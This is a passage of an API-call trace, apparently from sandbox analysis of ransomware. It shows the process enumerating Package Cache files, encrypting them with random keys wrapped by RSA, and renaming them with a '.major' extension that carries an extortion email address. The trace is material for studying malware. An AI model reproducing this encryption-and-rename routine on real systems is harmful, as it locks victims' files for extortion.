dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="mPXRq+kkHScu1tUmHcnEc8q8R+Ffc6vqushIZh3dDtKwiMyLyVRRuMysTT5WMoFg\nJeGzCPV+7XChVMsmfM8HqscKYkbI7ZghWzXGt9eW/4AITa6XYd/MJX71XoX3Sk3T\nZ1XWIRKqaWFjy3x0Wa2Cfj70fLwOcPFF1xj6BPGl5/AkiC/mbxnIwNgUJ2vnvdAe\nqJUtYaRPfHW8PSewFYY3OFrfxWd7yLyEbufIGtnDmuoA6GbuVeupWLfUW+jwl8Il\nirqUzMPNrzAoaMp55J0YZRx0VFaecxVGkQ+5tE3VdvONNszdGhNx8LLtLSqg2Os1\nw5is9QLqtihWiYuKbFDjag==\n", pcchString=0x2e3f9a8) returned 1 [0152.731] WriteFile (in: hFile=0x680, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0152.731] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.731] WriteFile (in: hFile=0x680, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.731] CloseHandle (hObject=0x680) returned 1 [0152.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.731] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), lpNewFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0152.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x651ab8 | out: hHeap=0x570000) returned 1 [0152.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0152.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0152.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x57e1d0 [0152.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0152.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5adef0 | out: hHeap=0x570000) returned 1 [0152.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca80 | out: hHeap=0x570000) returned 1 [0152.733] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6310c0 [0152.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0152.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c79a8 [0152.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0152.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79a8 | out: hHeap=0x570000) returned 1 [0152.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0152.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0152.733] GetLastError () returned 0x0 [0152.733] SetLastError (dwErrCode=0x0) [0152.733] GetLastError () returned 0x0 [0152.733] SetLastError (dwErrCode=0x0) [0152.733] GetLastError () returned 0x0 [0152.733] SetLastError (dwErrCode=0x0) [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631400 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631400 | out: hHeap=0x570000) returned 1 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0152.734] FindNextFileW (in: hFindFile=0x6310c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b58 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x570000) returned 1 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0152.734] GetLastError () returned 0x0 [0152.734] SetLastError (dwErrCode=0x0) [0152.734] GetLastError () returned 0x0 [0152.734] SetLastError (dwErrCode=0x0) [0152.734] GetLastError () returned 0x0 [0152.734] SetLastError (dwErrCode=0x0) [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631100 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631100 | out: hHeap=0x570000) returned 1 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.734] FindNextFileW (in: hFindFile=0x6310c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1593bf8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1593bf8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a80 [0152.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0152.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a80 | out: hHeap=0x570000) returned 1 [0152.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0152.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0152.735] GetLastError () returned 0x0 [0152.735] SetLastError (dwErrCode=0x0) [0152.735] GetLastError () returned 0x0 [0152.735] SetLastError (dwErrCode=0x0) [0152.735] GetLastError () returned 0x0 [0152.735] SetLastError (dwErrCode=0x0) [0152.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.735] FindNextFileW (in: hFindFile=0x6310c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x35efb7db, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0152.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0152.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a38 [0152.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0152.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a38 | out: hHeap=0x570000) returned 1 [0152.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0152.735] GetLastError () returned 0x0 [0152.735] SetLastError (dwErrCode=0x0) [0152.735] GetLastError () returned 0x0 [0152.735] SetLastError (dwErrCode=0x0) [0152.735] GetLastError () returned 0x0 [0152.735] SetLastError (dwErrCode=0x0) [0152.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0152.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0152.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2e40f20 [0152.735] FindNextFileW (in: hFindFile=0x6310c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2547a05, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0152.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7918 [0152.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7918 | out: hHeap=0x570000) returned 1 [0152.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ef8 [0152.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.735] GetLastError () returned 0x0 [0152.735] SetLastError (dwErrCode=0x0) [0152.735] GetLastError () returned 0x0 [0152.735] SetLastError (dwErrCode=0x0) [0152.735] GetLastError () returned 0x0 [0152.736] SetLastError (dwErrCode=0x0) [0152.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0152.736] FindNextFileW (in: hFindFile=0x6310c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2547a05, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0152.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e170 [0152.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0152.736] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0152.736] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", dwFileAttributes=0x80) returned 1 [0152.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e2e0 [0152.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b85a8 [0152.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2e0 | out: hHeap=0x570000) returned 1 [0152.737] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x684 [0152.737] GetFileSizeEx (in: hFile=0x684, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=462976) returned 1 [0152.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x71080) returned 0x2e40fc8 [0152.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x71080) returned 0x2eb2050 [0152.737] ReadFile (in: hFile=0x684, lpBuffer=0x2e40fc8, nNumberOfBytesToRead=0x71080, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40fc8*, lpNumberOfBytesRead=0x2e3f9b4*=0x71080, lpOverlapped=0x0) returned 1 [0152.749] SetFilePointer (in: hFile=0x684, lDistanceToMove=-462976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.749] WriteFile (in: hFile=0x684, lpBuffer=0x2eb2050*, nNumberOfBytesToWrite=0x71080, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2eb2050*, lpNumberOfBytesWritten=0x2e3f9b4*=0x71080, lpOverlapped=0x0) returned 1 [0152.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40fc8 | out: hHeap=0x570000) returned 1 [0152.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2eb2050 | out: hHeap=0x570000) returned 1 [0152.750] SetFilePointer (in: hFile=0x684, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x71080 [0152.751] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.751] WriteFile (in: hFile=0x684, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.751] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0152.751] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0152.751] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0152.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0152.751] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="HrRuuzJU+7PQSTheIVa9aaJHvNhI9iPi+NQo7Rf88lOOz8Wta3CWa9UY4QSRjnfM\nn6xpb6o/W5ahUTwr0HRt/IQI9zXwTrJonQtJ8m/ide8sYJWh+q6ktHvS4/ZtUw5w\njL8W1/rrTlxGZ78rnA4VTCEhcXNefBgYVEUK7m/6oSMlIT0fnKS0dRtgzBLiLHuG\nDajlcbCPyXdP5FRqEz6hDKjz2lWA5xeKIu4+9m/+uWkvNaZerr/xlYXeSQwILpPX\nWdKamtf+EuKjB/YrFkTqiump6uP15GfI3WqTqaSylBXBnxpixUIPY/2ACqyZq80W\nivileHDbV+2LfgEbvcSwCQ==\n", pcchString=0x2e3f9a8) returned 1 [0152.751] WriteFile (in: hFile=0x684, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0152.751] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.751] WriteFile (in: hFile=0x684, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.751] CloseHandle (hObject=0x684) returned 1 [0152.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.752] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), lpNewFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0152.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0152.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0152.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e170 | out: hHeap=0x570000) returned 1 [0152.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0152.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5a9008 [0152.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca80 [0152.753] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0152.753] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", dwFileAttributes=0x80) returned 1 [0152.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5a37b8 [0152.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x652370 [0152.754] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a37b8 | out: hHeap=0x570000) returned 1 [0152.754] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x684 [0152.754] GetFileSizeEx (in: hFile=0x684, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=638) returned 1 [0152.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x27e) returned 0x5c1ce8 [0152.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x27e) returned 0x5a8108 [0152.754] ReadFile (in: hFile=0x684, lpBuffer=0x5c1ce8, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesRead=0x2e3f9b4*=0x27e, lpOverlapped=0x0) returned 1 [0152.755] SetFilePointer (in: hFile=0x684, lDistanceToMove=-638, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.755] WriteFile (in: hFile=0x684, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x27e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x27e, lpOverlapped=0x0) returned 1 [0152.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0152.755] SetFilePointer (in: hFile=0x684, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x27e [0152.755] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.756] WriteFile (in: hFile=0x684, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.756] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0152.756] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0152.756] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0152.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0152.756] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="SbTTHb35brP70Vjvrx4eoXCQgEzgx9U2+ZR4LHB8j6pFBzQELpnoQCYpY1s8oofD\nWY7Jbsy2P3By1mfSS35FqL7lNP7ZXay1p9CacygAbxIhwZCs9WWS/srGdVjLd9UI\nKfHPuGwOm68KyRoQly/jTGG4vS3vsHlAb4PhY+6p45rbqJEdNQLUTry80QQwzYTu\n70T90C0TUaDY7LpaDi3V3X7OlnTlrHP63/uHDhbecbnFY6U/bVyjvPTljxqnMrWG\nKnDzzhueHge9qrFDCsh/u0cx9EzwOjuZXPE6uO9xL6A+Sq8kQs5ZS+VEilBgC8hH\nSVqAgz4fdpF+U81HkcDtLw==\n", pcchString=0x2e3f9a8) returned 1 [0152.756] WriteFile (in: hFile=0x684, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0152.757] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.757] WriteFile (in: hFile=0x684, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.757] CloseHandle (hObject=0x684) returned 1 [0152.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.757] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), lpNewFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0152.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652370 | out: hHeap=0x570000) returned 1 [0152.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca80 | out: hHeap=0x570000) returned 1 [0152.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0152.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, 